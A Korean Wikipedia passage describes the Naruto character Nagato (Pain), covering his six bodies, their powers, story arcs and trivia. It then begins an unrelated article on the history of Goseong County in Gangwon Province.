만난 두닌자중 하나다 풀마을 출신이다 농사지어 힘들게 번 돈을 도박으로 날린사내(지라이야 인법천참조) 아귀도는 올백으로 넘긴 주황색 머리에 양쪽 귀에 안테나 모양 수신기 1개씩 뺨에 뿔모양의 중형수신기를 양쪽에 1개씩 코에 수신기 2개 아랫 입술에 역삼각형 모양 수신기 5개를 박고있다 페인 인간도(人間道)는 희생자의 머리에 손을 대고 그의 두뇌에 있는 모든 정보를 단숨에 읽어낼 수 있는 능력을 가졌으며, 희생자의 혼백을 뽑아낼 수도 있다. 감지능력도 무효화한다. 선인모드 지라이야의 돌려차기에 얻어맞아 눈이 퉁퉁 부어 능력 사용을 못한 페인 활약상이 적어 육도페인중 약체로 평가되나 나뭇잎 마을 침공 당시 암부조차도 모르게 접근해 시즈네를 북망산으로 보내버렸다. 나루토의 풍둔:나선수리검(風遁:螺旋手裏剣)에게서 축생도를 구해내고 세포 분해되어 사망 인간도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 술집에서 만난 두닌자중 하나다 폭포마을 출신(지라이야 인법천참조) 인간도는 장발의 주황색 머리칼에 뺨에 작은 사이즈의 수신기를 양쪽에 2개씩 턱에도 작은사이즈 수신기 2개 코에 사선으로기울어진 수신기를 2개를 박고있다 페인 지옥도(地獄道)는 희생자의 목을 잡은 뒤 자신의 뒤에 지옥의 왕을 소환할 수 있으며, 지옥의 왕이 희생자의 혼백을 강제로 가져가버리게 할 수 있는 능력을 갖고 있으며 죽은 페인을 살릴 수 있다. 상대의 말이 진실인지 거짓인지를 판별할 수 있다. 거짓이면 죽여 버린다. 진실과 거짓을 판별하는 법은 우선 지옥의 왕을 소환후 질문을 한다 예를 들어 "우즈마키 나루토는 지금 이 마을에 있는거냐 없는거냐 어느쪽이냐?" 식으로 묻는다 희생자가 대답을 하면 희생자의 입에서 혀같은것이 길게 나오며 지옥의 왕이 손가락이 달린 혀로 그것을 잡는다 그리고 지옥도가 "그럼 판결을 내리겠다" 라고 하면 지옥의 왕이 희생자가 거짓을 말했을 경우 그 혀같은것을 뽑아버려 죽인다. 거짓말이 아니면 죽지않는다. 인술과 체술엔 약하다. 다만, 자신을 방어할정도의 간단한 체술은 구사가능 그래봐야 단순한 격투 기술에 지나지 않지만, 전투시 후방에서 전투불능 또는 사망한 페인을 살려주는 힐러이며, 지옥도가 살아있는 한 어떤 페인을 죽여도 다 살아나기에 나루토의 분석 결과 제일 먼저 죽여야 되는 페인이다. 사망한 페인을 살리는 법은 지옥의 왕을 불러낸후 지옥의 왕이 손가락이 달린 혀로 죽거나 중상을 입은 페인을 잡아 입안에 넣고 씹는 동작을 몇번하고 입을 벌리면 들어갔던 페인이 회복되거나 살아나온다. 지옥의 왕도 윤회안을 가지고 있다. 육도윤회에서 지옥은 가장 고통 받는 곳이다. 불교에선 팔열지옥 팔한지옥 등 수십 개의 지옥이 존재한다고 한다. 코노하마루의 나선환에 의해 쓰러지나 치명적이지 않았고 나루토의 나선간환에 의해 죽는다 지옥도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 사람들을 모아놓고 연설하던 사내다(지라이야 인법천 참조)지옥도는 천도보다 조금 더긴 뾰족뾰족한 주황색 머리칼에 눈사이에 작은 수신기 1개 뺨의 여덟팔자 주름을 따라 양쪽에3개씩6개의수신기 아귀도처럼 귀에 안테나 모양 수신기를달고있다 다만 양쪽 귀에 1개씩 단 아귀도와 달리 양쪽귀에 3개씩 6개를 달고 있다 페인 천도(天道)는 인력과 척력을 조종할 수 있는 능력을 가졌다. 척력으로 일미의 수학(一尾の守鶴)과 만화경 사륜안의 스사노오(須佐能乎)를 능가하는 절대 방어를 구사하며 지폭천성(地爆天星) 신라천정(神羅天征) 술법을 구사한다. 상대를 튕겨내는 신라천정은 최소 5초의 연속 공격시간을 가진다 규모가 클수록 다음 공격을 할때 까지의 쿨타임이 엄청 길어진다. 규모가 커지면 나뭇잎 마을 하나 정도는 무리없이 파괴한다. 또한 상대를 당기는 만상천인(万象天引)이있다. 그리고 비를 조종할 수 있다. 여섯 페인 중 최다수로 등장한다. 나루토의 환영분신 연계 나선환에 의해 사망한다. 육도 윤회에서 천은 하늘나라의 신적인 존재다. 육도 페인중 가장 말이 많다. 아마도 나가토가 친구였던 야히코의 시체로 만든게 천도라 정이 가서 그런지 천도를 통해 할말을 다한다. 육도중 가장 강력체다.천도의 몸은 다른 페인과 달리 소중히 다뤄졌으며 천도를 지키키 위해 다른 페인들을 희생 시켰다 천도의 시체는 나가코와 코난의 친구이자 지라이야의 최초 제자중 하나인 야히코다 천도는 천상도라고도 불린다 천도는 야히코의 생전 머리칼과 같은 머리칼을 하고 있다 다른 페인의 머리칼이 밝은 주황색인것도 천도와 통일성을 주려고 그런건지도 코에 좌우 대칭형으로 6개의 수신기를 양쪽 귀에 막대 모양 수신기 1개와 귀걸이 모양 수신기를 6개 달고 있다 페인 축생도(畜生道)는 각종 소환수를 소환하는 능력을 갖고 있다. 지라이야와 결투당시의 축생도와 나뭇잎 마을 침공 당시의 축생도는 다른 모습인데 결투에서 죽은뒤 시체를 찾지못한 축생도를 대신해 나가토가 생사의 술법으로 여자의 시체로 새로운 축생도를 만들었다. 가마분타(ガマブン太)의 입속에서 나루토의 나선간환에 맞아 죽는다. 축생은 죄를 지은 자가 짐승으로 태어나는 세계다. 공격용 방어용 소환수를 불러내며 공격용은 가마분타급의 공격력을,방어용은 모래의 수학급의 방어력을 자랑한다 모든 소환수에겐 차크라 수신기와 윤회안이있다. 전(前) 축생도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 단지 적이 숨어 있을거란 이유로 마을 하나를 통째로 날려 버린 후우마 일족의 닌자다 이후 지라이야와 후우마 닌자와의 결투장면과 대사는 후일 지라이야가쓴 책 근성 닌자전에 그대로 들어가 있다(지라이야 인법천참조)후(後)축생도는 지라이야에 의해 사망하여 빼앗긴 후우마 일족 닌자 시체로 만든 축생도를 대신하여 지라이야가 비마을 잡입당시 마추친 2명의 비마을 하급닌자가 운반해 온 여자의 시체로 만들었다 후축생도의 한국판 목소리는 김율이라는 성우가 담담했다 전축생도는 조황색포니테일머리에 미간에 1개 양 뺨에 1개 귀에 귀걸이 모양으로 1개씩 턱선을 따라 6개의 수신기를 박고 있었다 뺨의 수신기는 가는 선으로 코에 연결되어 있다 후축생도는 주황색 단발 머리에 정수리 부분을 귀엽게 묶고 있으며 코에 1개 양 뺨에 직선으로 3개의 수신기를 달고 있다 등장[편집] 질풍전[편집] 페인은 질풍전에서 홀로그램으로 아카츠키 모임에 자주 등장했다. 그는 아카츠키의 리더로써, 미수(尾獸)를 봉인할때 흩어져 있는 멤버들을 모았다. 질풍전의 에피소드가 더해갈수록 얼굴의 부분 부분을 비추기 시작하면서, 코난의 전신이 나올때 함께 나왔다. 이타치 뒤쫓기 일주[편집] 나가토의 옛 스승인 지라이야는 개구리를 이용해 비 마을에 잠입한다. 지라이야가 개구리 속에서 완전히 나왔을때, 나가토는 비를 방해하는 무언가를 느꼈다. 나가토는 코난에게 침입자를 수색하라는 명령을 내리고 비를 그치게 했다. 코난이 수십개의 종이나비로 변신해 수색하러 갔을때, 나가토는 천도를 축생도로 바꾼다음 지라이야 수색에 나섰다. 지라이야는 금세 비 마을 닌자의 몸 안에 숨고 비 마을을 깊게 수색하기 시작하는데 코난에게 잡힌다. 지라이야는 비 마을 닌자의 그림자 에서 나오고 코난과 대결을 하기 시작하지만, 기름공격으로 코난을 뒤덮어 버린다. 그때 나가토가 코난을 구하기 위해 소환수를 이용해 코난의 몸에 묻은 기름을 다 씻어낸다. 그 후에 카멜레온을 소환해 위장술을 쓴다. 지라이야는 결계·천개법진(結界・天蓋法陣)을 이용해 돔 형식의 방어막과 소환법을 이용해 가마켄(ガマケン)을 소환한다. 그와 동시에 나가토도 소환술을 쓰는데, 이번에는 머리가 여러개 달린 개를 부른다. 지라이야는 그 소환수과 싸우는데, 소환수는 재생능력을 갖고있으며, 거의 모든 가마켄의 공격을 피하하여, 힘들게 위치를 유지한다. 하지만 지라이야가 나가토의 개들을 두꺼비의 뱃속에 가두어 둠으로 인해 소화시켜버린다. 나가토는 이번에는 새를 소환하였는데, 그 새는 지라이야를 따라다니며 공격했지만, 결국엔 타 죽어 버린다. 또 다른 동물을 소환한 나가토의 소환수 코뿔소도 또한 가마켄에게 처치되었다. 나가토는 마지막으로 거대황소를 소환하는데, 그때에 지라이야의 방어막이 사라지면서 황소를 날려버린다. 나가토가 소완한 모든 소환수들을 상대한 지라이야는 선인모드를 작동시키며 후카사쿠(フカサク)와 시마(シマ)를 소환하며 나가토의 카멜레온도 죽이는데, 그와 동시에 숨어있던 축생도를 찾아낸다. 그 후 아귀도와 인간도가 지라이야를 상대하기 위해 소환된다. 인간도는 지라이야에게 머리를 맞은후 앞을 볼수 없게 되지만, 지라이야를 죽이려고 힘쓴다. 그 다름 지라이야는 아귀도, 인간도, 그리고 축생도를 선법:고우위문(고에몬)(仙法:五右衛門)을 이용해 다 타버리게 하려 했지만, 지라이야의 선법은 아귀도에게 흡수되어 버린다. 그 후 지라이야는 대옥나선환(大玉螺旋丸)을 쓰지만, 이것 역시 흡수되어 버린다. 그 다음엔 인간도가 공격을 시작하고, 축생도는 두꺼비들로 인해 방해를 받는다. 그 후 지라이야가 선법:천개의 털 바늘(모침 천본)(仙法:毛針千本)을 이용해 공격을 한다. 하지만 축생도가 거대판다를 소환하여 공격을 막았다. 지라이야는 그들의 공격을 간파하고 파이프 안으로 들어가 탈출한다. 파이프에 있을때는 윤회안의 빈틈을 찾기위해 환법(幻法)을 쓴다. 세 페인들은 지라이야를 쫓지만, 지라이야의 환법에 걸린후 죽임을 당한다. 하지만 지라이야가 떠나면서 방심한 찰나에 페인에게 공격을 당하게 된다. 죽었던 페인들은 지옥도의 능력으로 인해 다시 살아난다. 나중에 지라이야는 축생도를 죽이지만, 후에 페인들에게 처참하게 살해당한다. 지라이야의 시체는 바닷속 깊은곳으로 떨어지고, 나가토는 옛 스승에게 경의를 표하며 짧은 묵념의 시간은 가진다. 츠지구모 일족 금술(禁術) 일주[편집] 애니메이션에서 나가토가 축생도의 새로운 몸을 구하고 난 후, 안개마을의 탈주닌자인 우타카타(ウタカタ)속에 있는 육미(六尾)를 잡는 임무를 맡았다. 육미를 수색하는 도중에, 축생도는 머리가 여러개 달린 개를 소환해 츠구리가 이끄는 안개마을의 추적닌자 무리를 발견하고 죽인다. 우타카타가 츠쿠리와 그의 무리들에게 자신을 포위하라 하려했지만, 페인을 찾았다. 페인은 우타카타에게 우타카타의 육미가 페인의 이상의 세상을 만들기 위해 필요하다고 설명하며 우타카타를 포획해 데려갔다. 페인의 나뭇잎마을 정복[편집] 구미(九尾)와 팔미(八尾)를 남겨두고, 페인과 코난은 나뭇잎 마을에 도착한다. 도착하자 마자 마을 경계를 지키는 수비닌자들 제거하고나서, 두 팀으로 나누어서 나뭇잎 마을에 침입한다. 나가토는 수라도, 아귀도, 그리고 축생도를 양동 팀으로 나누어 닌자들을 유린하게 만들고, 천도, 인간도, 지옥도, 그리고 코난을 수색팀으로 나누어 나루토를 찾는다. 여섯의 페인들은 임무를 따르며 나뭇잎 마을을 파괴하는데, 그중에 천도는 하타케 카카시와 맞딱뜨린다. 수라도가 천도를 보조해주며 카카시의 동료들돠 싸우지만, 수라도는 파괴되었다. 나뭇잎 마을 안에서는 남은 페인들은 나뭇잎 닌자들에 맞서며 자신의 임무에 힘을 다하고 있었다. 천도는 5대 호카게 츠나데에게 찾아가 나루토의 위치를 묻는다. 하지만 츠나데는 거절한다. 다른 곳에서는 인간도는 자신특유의 심문능력을 이용해 시즈네의 마음을 읽어 나루토가 묘목산에 있다는걸 알아낸다. 그 즉시 모든 페인은 나뭇잎 마을을 벗어나고, 천도는 츠나데에게 나뭇잎 마을은 고통에 무지하기 때문에 고통을 가르쳐 주겠다고 한다. "고통을 느껴라, 고통을 생각해라, 고통을 납득해라라, 고통을 알아라. 고통을 알지 못하면 참 평화도 알지 못한다"(「痛みを感じろ痛みを考えろ痛みを受け取れ痛みを知れ痛みを知らぬものに本当の平和分からん」)라는 말과 함께 신라천정(神羅天征)을 사용하여 나뭇잎 마을을 초토화 시킨다. 인법이 끝나고 연기가 가라앉을 때 즈음에 천도는 나루토가 세 마리의 두꺼비들과 돌아온것을 확인한다. 초토화 돼버린 자신의 마을을 본 나루토는, 보복으로 츠나데를 공격 하려하는 다시 살아난 수라도를 나선환으로 한방에 박살내 버린 후, 남은 페인들을 상대한다. 축생도는 나루토와 싸우기 위해 소환수들을 부르고, 나루토의 두꺼비들은 페인의 소환수들과 싸우고 나투로는 두꺼비 대련술로 아귀도를 죽인다. 그 다음, 나루토는 풍둔:나선수리검(風遁:螺旋手裏剣)을 이용해 인간도를 세포 분해후, 가마분타(ガマブン太)와 협력해 축생도를 상대해 승리한다. 넷의 페인이 죽은 후 남은 천도는 지옥도를 지킨다. 지옥도는 바로 아귀도를 살려내었다. 그렇게 살아난 아귀도는 나루토의 두 번째 나선수리검을 흡수해 버리는데, 그것은 단지 나루토가 아귀도를 처리하기 위함이었다. 그때 힘이 되돌아온 천도는 아귀도가 나루토의 차크라를 빨아들여 무능하게 만들으려 나루토를 잡았지만, 나루토의 선법 차크라를 빨아들인 아귀도는 두꺼비의 모습을 갖기 시작하다가 돌로 변해버렸다. 이 빈 틈을 타 나루토는 탈출했지만 다시 천도에게 붙잡혀 차크라 방해 무기들이 몸에 꽃히게 된다. 그때 천도는 나루토에게 이 모든 것의 이유는 닌자시스템이 세상에 가져온 돌고도는 증오, 고통, 시련, 그리고 전쟁을 소멸시키고, 미수들을 이용해 세상의 모든 갈등을 없애고 평화를 가져오기 위함이라고 설명한다. 그리고는 나루토에게 더 좋은 방법이 있냐고 묻지만 나루토는 대답할 수 없었다. 천도가 나루토를 데려가기 전, 휴우가 히나타가 나타나 나루토를 지키려고 한다. 그때에 히나타는 죽음 직전까지 가게 되었는데, 그로 인해 광분한 나루토는 구미의 증오심과 차크라와 싱크로해 육미(六尾)상태가 되었다. 그때의 천도는 육미의 나루토를 상대하기에 불가능한 상태로, 나가토와 가까운 곳으로 후퇴한다. 나가토의 본체와 가까워진 천도는 지폭천성(地爆天星)으로 나루토를 구(球)형의 지구의 잔여물안에 나루토를 가둔다. 나가토의 승리가 보일때 즈음에, 나루토가 팔미(八尾)로 진화해 지폭천성에서 벗어난다. 더 큰 원구를 만들어야 하는 것을 깨달은 천도는 원구를 더욱 크게 만들기 위해 힘을 무리하게쓰고, 팔미 이상이 되면 나루토의 의식속에서 자신이 깨어나도록 술식을 짠 미나토가 나타나 나루토의 구미 봉인을 다시 걸어준다 원래의 상태로 돌아온 나루토는 부서진 잔해 속에서 나왔다. 나루토는 좀 전에 들은 천도의 설교로 인해, 나가토의 본체와 만나 얘기하고 싶어했지만, 천도는 받아들이지 않고 공격했다. 나루토는 나선수리검을 두 번이나 실패하였지만, 천도가 가진 약점(다음 인술을 펼치기 까진 최소 5초가 걸린다)을 이용하여 완벽한 시간조절로 천도를 무너뜨렸다. 나루토는 천도의 차크라 수신기 중 하나를 때 자신에게 삽입해 차크라 역수신을 시도해 나가토의 위치를 알아냈다. 지라이야의 죽음과 나뭇잎 마을을 파괴한 장본인인 나가토에게 화가 나있었던 나루토이지만, 침착하게 지라이야의 제자로써 나가토에게 질문을 시작했다. 나루토는 어떻게 옛 스승의 가르침에서 그만큼 멀어질수가 있는가를 질문했다. 나가토는 나루토가 자신이 생각하는 이상의 평화와 동의할것을 기원하며 자신의 과거와, 자신의 인생에 있었던 비수같은 고통들과, 고통만이 세상을 구원할 수 있는 이유를 설명했다. 나투로는 나가토의 궁극적인 결론에 동의하였지만, 지라이야의 가르침과 너무 다른 나가토의 결론을 받아들이지 않았다. 그와 함께, 나루토는 나가토의 평화를 가져오는 방법에 대한 선문(先問)에 대해 "증오의 굴레를 소멸하는 것"이라고 대답했다. 나루토는 나가토를 죽이는 것은 단지 복수의 굴레를 영구화 시키는 것이라고 판단하기에 이른다. 나가토는 나루토의 결정에 감탄하고, 지라이야의 가르침을 회상하며, 나루토의 대답에 따르기로 결정했다. 나가토는 외도:윤회천생술(外道:輪廻天生の術)을 이용해 자신으로 인해 사망한 나뭇잎 마을 사람들을 부활시켜주었다. 빨간 머리가 백발이 될 정도로 너무 많은 차크라와 스테미너를 소진한 나가토는 마지막으로 자신의 목숨을 인술의 대가로 지불한다. 나가토는 죽기 전, 나루토의 평화의 꿈이 이루어 지길 바랬고, 나루토와 지라이야의 책을 "참 신의 유산"이라고 여겼다. 나가토는 자신의 스승과 같이 얼굴에 미소를 머금고 눈을 감았다. 인주력 봉인 일주 나가토는 마다라와 동맹을 맺고싶은 카부토로 인해 부활한다. 부활한 나가토의 원래의 머리색인 빨간색이 아닌, 흰 백발을 갖고있었지만, 몸 상태는 예전과 다름없이 거동이 불편했다. 하지만 항상 등 뒤에 꽂고있던 차크라 수신기는 갖고있지 않았다. 닌자세계대전 일주[편집] 나가토는 카부토와 마다라가 전쟁을 선포함과 동시에 소환되었다. 그는 이타치와 카쿠즈와 마찬가지로 전쟁을 위해 쓰이게 되었는데, 걸을수가 없는 나가토는 우치하 이타치의 도움으로 걷게된다. 밤이 되고 싸움이 멎었을 때에, 나가토는 이타치와 둘이 남겨진다. 그들은 걸으며 예전 아카츠키에 소속 했었을때를 회상하며 대화를 하는데, 이타치와 자신은 혈계한계인 강력한 동술로 인해 마다라에게 이용당했다고 말하며, 이타치는 어둠 속에 가려진 진짜닌자로 표현했다. 성지에 잠깐 쉬어갈때 둘은 마다라의 계획과 책략에 대해서 의논했다. 나가토와 이타치는 어떤 산을 향해 가며 예전을 회상하고 있을때, 나루토와 킬러B와 조우한다. 나가토와 이타치 자신들은 나루토와 다시 대결해야 한다는 사실에 비통해한다. 그와 동시에나가토는 나루토를 다시 만났다는 것에 기뻐하며, 나루토의 인주력으로써의 상태에 대해 질문하고, 구미를 제압하고 나루토 자신 안에 있는 증오를 뛰어넘음에 극찬한다. 강제로 나루토와 킬러B를 공격해야 하는 나가토와 이타치는 공격에 앞서 곧 닥칠 이타치의 공격과, 우치하 일족 말살사건의 전말을 알게되고 경악을 금치 못한다. 나가토는 만상천인(万象天引)으로 나루토와 큰 바위를 충돌하게 하는데, 자신의 공격을 튕겨낼수 있는 나루토의 능력에 감탄한다. 그리곤 나루토와 킬러B에게 자신과 이타치를 떨어뜨려 놓으라고 한다. 걷지 못하는 나가토 자신은, 소환술을 이용해 자신의 소환수인 개와 새를 불러들이고 자신도 이젠 날수 있다고 농담을 한다. 나루토와 대결하게 된 나가토는, 자신의 개는 그 어떤 괴력으로도 파괴될 수 없으니 자신을 공격하라고 지시한다. 나가토는 이타치의 변화를 감지하고, 이타치가 아마테라스(天照)를 쓰려고 한다고 나루토를 주의시탄다. 하지만 나가토는 자신의 소환수들이 공격을 당하는 것을 보고 그 까마귀가 무엇인지를 묻는다. 그때 이타치는 나가토에게 돌아서서 아마테라스로 공격을 하고 나가토는 이타치의 변화를 깨닿는다. 나가토는 아마테라스의 불들에 삼켜져 바닥으로 추락하지만, 신라천정을 이용해 다른 이들을 자신에게서 멀어지게 만든다. 카부토로 인해 의식이 제거된 나가토는, 다시 재생해 자신의 카멜레온을 소환해 그 입 속 안으로 피한다. 그리고 그 안에서 거대한 신라천정을 이용해 상대들을 놀래킨 후 킬러B에게 다가가 공격하지만, 팔미(八尾)버전2의 킬러B와 뢰이열도(雷犂熱刀)로 오히려 공격당한다. 하지만 나가토가 갖고있는 아귀도의 능력으로 킬러B의 차크라를 흡수한다. 이로인해 나가토의 몸은 외도마상을 부르기 전 상태로 돌아가고, 자신의 카멜레온을 이용해 나루토를 포박한후 영혼을 가져가려 한다. 나가토가 나루토의 몸과 영혼을 카부토에게 보내기 위해 지옥의 왕을 소환했을때, 킬러B가 나가토를 절단시킨후 나루토를 살리려고 하지만, 수라도의 두 팔로 나가토는 킬러B를 막고, 나머지 두 팔은 나루토의 영혼을 거의 다 빼내기까지 이른다. 하지만 그때 이타치가 자신의 수사노오(須佐能乎)를 이용해 나가토를 막는다. 그래서 나가토는 지폭천성을 이용해 그 셋을 포획하려 하지만, 이타치의 야사카의 곡옥(八坂ノ勾玉), B의 미수옥(尾獣玉), 그리고 나루토의 나선수리검으로 인해 나가토의 인술준비가 끝나기도 전에 막는다. 마지막 공격으로 인한 연기가 사라졌을때 나가토는 자신의 의식이 돌아오고, 수사노오의 토츠카의 검이 자신에게 꽃혀있는 것을 발견한다. 나가토는 이타치에게 봉인 되기 전 마지막 순간에 나루토에게, "지라이야 호걸담....훌륭한 이야기였다 나는 속편이었어. 언제나 그렇듯 엉망이었지. 나루토, 실패작인 나를 가릴수 있을정도의 걸작이 되거라....."라고 한다 이 장면은많은 감동을 준 장면 나가토는 토츠카의 검이 자신을 봉인할때에 이제서야 지라이야와 함께할 수 있다고 말하며 작별인사를 하였다. 나가토의 유산[편집] 나가토의 죽음 후, 아카츠키와 더 이상 관련되어 있을 이유가 없어진 코난은 아카츠키를 탈퇴했다. 코난은 나가토와 천도(야히코)의 시체를 비 마을로 갖고와 장례를 치웠다. 두 사람은 아카츠키의 유니폼을 입고 꽃으로 꽉 찬 성지에 눞혀졌다. 나루토가 어지러운 닌자세계에 평화를 갖고올것이라는 것을 믿고 죽어간 나가토를 지켜본 코난은 비 마을은 나루토의 미래를 위해 충성을 다할것을 맹세한다. 마다라는 나가토의 죽음에 놀랐고, 나가토의 윤회전생술을 사용함으로 자신을 "배신"한것에 대해 격노했다. 마다라는 후에 나루토 앞에 나타나 어떻게 나가토의 마음을 움직였는지 묻는다. 나루토는 단지 권력에만 집착하는 마다라와는 달리, 나가토는 진심으로 평화를 원했다고 대답했다. 나가토의 죽음으로, 토비(오비토)는 나가토의 윤회안을 가져가기로 마음먹었다. 그는 비 마을로 건너가 코난에게 윤회안의 위치를 물었다. 하지만 코난은 대답하기를 거절하고 나가토의 몸을 지키기 위해 온 힘을 다해 맞섰지만 패배했다. 그 후 토비(오비토)는 나가토의 시체를 찾고, 그는 나가토가 세 번째 육도였다고 말한다. 토비(오비토)는 미소를 띄며 죽어간 나가토를 보고 계속되는 배신에 조롱당하는 기분이라 표현했다. 그리고 나가토를 다른 디멘션에 있는 "실험실"로 데려가 눈 하나를 자신의 왼쪽 눈으로 만든다. 나가토의 탄생배경[편집] 나루토 데이터 북:자의 서 캐릭터 오피셜 데이터 북에는 키시모토의 나가토의 디자인에 대한 뒷얘기가 실려있다. 키시모토가 말하기를, 아카츠키의 리더로써 꽤 멋있는 느낌지기만, 위험한 인물처럼 보이게 그렸다고 한다. 키시모토는, 그의 이름을 "페인"이라 지은 후부터 자신의 신체로까지 고통을 나타내는 캐릭터로, 페인의 몸에 피어싱을 그리기로 마음먹었다고 한다. 애니메이션에 처음 등장했을때는, 페인의 윤회안읜 색이 다른 색으로 칠해진 것이 아닌가 생각했지만, 377회에 첫 유색 일러스트가 실렸는데 그것과 애니메이션의 눈 색깔이 같았다. 몇몇의 나가토의 능력은 불교의 교리와 전문용어로 부터 영감을 받은것으로, 스토리 중 나가토는 고통과 괴로움의 경험에 대해 얘기했는데, 이것 또한 부처의 사상으로 부처도 후에 그 사상을 저버렸다. 나가토에 대한 일반 상식[편집] 나가토의 이름의 "장수하는 문"이라는 뜻이다. 나가토의 모든 육도페인은 한번씩 지라이야와 만난적이 있었다. 나가토의 육도페인들은 모두 시체들로 만들어져 있는데, 축생도의 소환수들 역시 죽었던 시체들로 추측된다. 그들역시 나가토의 윤회안과 피어싱을 소유했다. 나가토의 어린시절, 전쟁의 아픔과 공포를 경험할 비 마을 고아들을 불쌍하게 여겨 죽여줄것을 제안한적이 있는 오로치마루가 나중에 아카츠키에 입단하게 되는데, 그 고아들이 오로치마루 자신의 선배가 된다는 것에 어떻게 생각했는지는 미지수이다. 나가토는 자신을 "신"이라고 생각했는데, 애니메이션에 나가토가 등장할때마다 괴기스럽지만 거룩한 음악이 배경음으로 깔렸는데, 이 음악의 이름은 "의례"라고 OST에 실려있다. 세 번째 데이터 북에 따르면: 나가토의 취미는 인술을 연습하는 것이었다. 자신의 친구들을 지키기 위해선 누구도 그의 적이 될 수 있었다. 나가토가 제일 좋아하는 음식은 구운 생선과 스튜이다. 나가토가 제일 좋아하는 문장은 "별은 비가 오는 밤 속에 숨어있다"이다. 어릴때는 "성장"이었다. 나가토는 나루토와 싸우는게 소원이었다(구미를 뜻한다고 할 수 있다.) 원본 주소 "https://ko.wikipedia.org/w/index.php?title=나가토_(나루토)&oldid=22386534" 분류: 나루토의 등장인물가공의 일본 사람가공의 남자숨은 분류: 출처가 필요한 글/2011년 11월출처가 필요한 모든 글전체에 출처가 필요한 글 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DanskEspañolFrançaisGalegoItalianoShqipTürkçeУкраїнська中文 링크 편집 이 문서는 2018년 9월 13일 (목) 23:52에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
고성군 (강원도) - 위키백과, 우리 모두의 백과사전 고성군 (강원도) 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 이 문서는 한국의 분단 이전에 존재했던 강원도 고성군에 관한 문서입니다. 현재의 강원도 고성군에 관한 문서는 고성군 (남)과 고성군 (북)에 각각 있습니다. 이 문서는 강원도의 고성군에 관한 것입니다. 경상남도의 고성군에 대해서는 고성군 (경상남도) 문서를 참조하십시오. 고성군(高城郡)은 강원도의 행정 구역으로, 한반도 동해안에 있는 지역이다. 38선 이북 지역이라 1945년에 소군정 영역으로 편입되었으나, 한국 전쟁을 거치며 철원군처럼 분단되었다. 남북 분단으로 인해 대한민국과 조선민주주의인민공화국 양 쪽 모두의 행정 구역으로 되어 있다. 대한민국 고성군의 군청 소재지는 간성읍이고, 조선민주주의인민공화국 고성군의 군청 소재지는 고성읍(구 장전읍)이다. 목차 1 역사 2 대한민국의 강원도 고성군 3 조선민주주의인민공화국의 강원도 고성군 4 각주 역사[편집] 고구려 때에 달홀(達忽)이 설치되었고 신라 진흥왕 29년(568년) 주(州)를 만들어 군주(軍主)를 두었고, 경덕왕이 고성군, 수성군(守城郡)으로 개칭하였다. 고려 성종의 행정구역 개편 때 삭방도(朔方道)에 편입되었다가, 고려 현종의 행정구역 개편 때 동계(東界)에 소속된 고성군과 수성군은 각각 고성현과 간성현(杆城縣)으로 바뀌었다. 간성현은 그 뒤 군으로 승격되었다. 조선 세종 때 고성현이 군으로 승격되어 간성·고성의 두 군이 되었다. 그 뒤 1629년 고성군은 노비가 주인을 살해한 일이 생겨 현으로 강등되었다가 1638년에 회복되었다. 1895년 음력 윤5월 1일 강릉부 고성군, 간성군으로 개편하였다.[1] 1896년 8월 4일 강원도 고성군, 간성군으로 개편하였다.[2] 1914년 4월 1일 고성군을 간성군에 합군하였다.[3] 군청을 군내면에 두었다. 당시 고성군은 일북, 이북, 안창, 수동, 동, 서, 남면의 7개면을 관할했다. 통합시 일북면과 이북면을 신북면으로, 동면과 안창면을 고성면으로 통합했으며 남면을 서면과 수동면으로 분할 편입시켰다. 당시 간성군은 현내, 군내, 대대, 오현, 토성, 왕곡, 죽도, 해상면의 8개면을 관할했다. 통합시 대대면과 오현면을 오대면으로, 왕곡면과 죽도면을 병합하여 죽왕면으로 통합하고 해상면을 군내면에 흡수시켰다. 9면 - 군내면, 오대면, 죽왕면, 고성면, 신북면, 서면, 수동면, 토성면, 현내면 1919년 간성군을 고성군으로, 군내면을 간성면으로 개칭하고, 죽왕면, 토성면을 양양군에 편입하였다. (7면) 군청을 고성면으로 이전하였다.[4] 1935년 오대면을 거진면으로 개칭하였다. 1937년 신북면 장전리, 성북리를 분리해 장전읍을 설치하였다. (1읍 7면) 1939년 신북면을 외금강면으로 개칭하였다. 1941년 10월 1일 고성면을 고성읍으로 승격하였다.[5] (2읍 6면) 1945년 9월 2일 : 미국과 소련이 38선을 경계로 한반도를 분할 점령함으로써 고성군 전 지역이 소련군정 관할 아래 들어갔다. 한국 전쟁 이후 수동면 일부, 고성읍 대부분, 장전읍, 외금강면, 서면은 조선민주주의인민공화국의 영토로 남고, 이남은 대한민국의 영토가 되었다. 대한민국의 강원도 고성군[편집] 이 부분의 본문은 고성군 (남)입니다. 대한민국 강원도의 행정 구역이다. 2읍 4면으로 구성되어 있다. 1963년에 양양군에서 죽왕면, 토성면을 반환받았다. 이외에 광복 당시의 군청 소재지였던 고성읍을 포함한 2읍 3면은 휴전선 이북에 위치하며, 이들 지역에 대해서는 이북5도위원회에서 명예읍면장을 임명하고 있다.[6] 해당 지역의 상세 관할구역은 다음과 같다. (광복 당시 기준) 읍/면사무소 소재지는 굵게 표시한다. 읍면 면적(km2) 리 숫자 리(里) 고성읍(高城邑) 55.84 13 동(東) 송현(松峴) 명호(明湖) 송도진(松島津) 